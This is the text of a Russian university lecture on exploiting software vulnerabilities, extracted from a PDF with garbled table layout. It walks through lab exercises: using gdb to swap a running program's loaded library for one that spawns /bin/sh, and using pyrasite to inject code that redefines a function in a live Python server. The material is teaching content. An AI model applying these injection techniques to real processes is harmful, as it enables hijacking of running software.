Лекция 5
.pdfПодмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ПО ЛЕКЦИЯ 0x05
Браницкий А.А.
Санкт-Петербургский государственный университет телекоммуникаций им. проф. М.А. Бонч-Бруевича
Лекция 5, Санкт-Петербург, 17 ноября 2021 г.
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
1/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Содержание
Подмена dll
Изменение дампа памяти Python-процесса
Инъекция кода
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
|
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Сценарий подмены dll
Исходные данные. Имеется программа dll_inject, которая с периодичностью в 10 сек. загружает dll, имя которой указано в глобальной переменной d. Из загруженной dll вызывается функция foo, параметром которой является имя загруженной dll.
Ограничения. Изменять исходный код программы dll_inject и плагинов нельзя. Прерывать выполнение программы dll_inject нельзя.
Цель. Требуется подменить dll.
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
2/50 |
Подмена dll |
|
|
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
dll_inject.c |
|
||||
1 |
# include |
< string .h > |
|
||
2 |
# include |
< stdlib .h > |
|
||
3 |
# include |
< stdio .h > |
|
||
4 |
# include |
< dlfcn .h > |
|
||
5 char |
d [100]; |
|
|||
6 void |
call_from_dll ( const char *f) |
|
|||
7 |
{ |
|
|
|
|
8 |
void |
*h |
= dlopen (d , RTLD_LOCAL | RTLD_LAZY ); |
|
|
9 |
if |
(h |
== |
NULL ) { |
|
10fprintf ( stderr , " Could not open lib (%s)\n", dlerror ());
11exit (1); }
12void *p = dlsym (h, f);
13if (p == NULL ) {
14fprintf (stderr , " Could not find func (%s)\n", dlerror ());
15exit (1); }
16 (( void (*)( const char *))p)(d);
17dlclose (h);
18}
19 int main (int argc , char * argv [])
20 {
21 if ( argc != 2) exit (1);
22strncpy (d, argv [1] , 100);
23while (1) {
24call_from_dll ("foo");
25sleep (10); }
26}
Компиляция: gcc -g -ldl dll_inject.c -o dll_inject
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
3/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
dll1.c
1 |
# include < stdio .h > |
2 void foo ( const char *a) |
|
3 |
{ |
4 |
printf ("a: %s\n", a); |
5 |
} |
Компиляция плагина:
gcc -g -fPIC -shared dll1.c -o libdll1.so
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
4/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
dll2.c
1 |
# include < stdio .h > |
2 |
# include < stdlib .h > |
3 void foo ( const char *a) |
|
4 |
{ |
5 |
printf ("a: %s\n", a); |
6 |
system ("/bin/sh"); |
7 |
} |
Компиляция плагина:
gcc -g -fPIC -shared dll2.c -o libdll2.so
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
5/50 |
Подмена dll Изменение дампа памяти Python-процесса Инъекция кода
Подмена плагина
Вызов программы:
$ ./dll_inject ./libdll1.so a: ./libdll1.so
...
Поиск PID процесса: $ pgrep dll_inject 10349
Изменение имени подключаемого плагина (без останова программы):
$ gdb -q
(gdb) attach 10349 Attaching to process 10349
...
(gdb) p strcpy(d, "./libdll2.so") $1 = 6295040
(gdb) quit
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
6/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Сценарий изменения дампа памяти Python-процесса
Исходные данные. Имеется python-скрипт server.py, который слушает порт 10001 на localhost и принимает от клиента пару логин-пароль, элементы которой разделены через символ пробела. Сервер записывает полученные данные в файл /tmp/out (логин в исходном виде, пароль в захешированном виде).
Ограничения. Изменять исходный код скрипта server.py нельзя. Прерывать выполнение скрипта server.py нельзя.
Цель. Требуется подключиться к запущенному процессу сервера и изменить его функционирование таким образом, чтобы и логин, и пароль записывались в файл /tmp/out в захешированном виде.
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
7/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|||
|
server.py |
|
|
||
1 import |
hashlib |
|
|
||
2 import |
socket |
|
|
||
3 |
|
|
|
|
|
4 def |
store (d ): |
|
|
||
5 |
with |
open ( '/ tmp / out ', |
'a+ ') as h: |
|
|
6 |
|
h. write (d + "\n") |
|
|
|
7 |
|
|
|
|
|
8 def |
encrypt (p ): |
|
|
||
9 |
return hashlib . sha512 (p ). hexdigest () |
|
|||
10 |
|
|
|
|
|
11 sock |
= |
socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) |
|||
12 sock . bind (( ' 127.0.0.1 ', |
10001)) |
|
13sock . listen (1)
14while True :
15conn , _ = sock . accept ()
16while True :
17data = conn . recv (1024)
18if not data :
19break
20data = data . rstrip ()
21login , passwd = data . split ( ' ')
22store ( login + ' ' + encrypt ( passwd ))
23conn . close ()
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
8/50 |
Подмена dll Изменение дампа памяти Python-процесса Инъекция кода
Подмена функции
Вызов программы: $ python server.py
Поиск PID процесса: $ pgrep server.py 1569
Изменение функции store: |
|
|
|
$ pyrasite-shell 1569 |
|
|
|
Pyrasite Shell 2.0 |
|
|
|
... |
|
|
|
>>> def store(d): |
|
|
|
... login, hash = d.split( |
) |
|
|
... with open( /tmp/out , |
a+ ) as h: |
||
... |
h.write(encrypt(login) + |
+ hash + "\n") |
|
... |
|
|
|
>>> exit()
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
9/50 |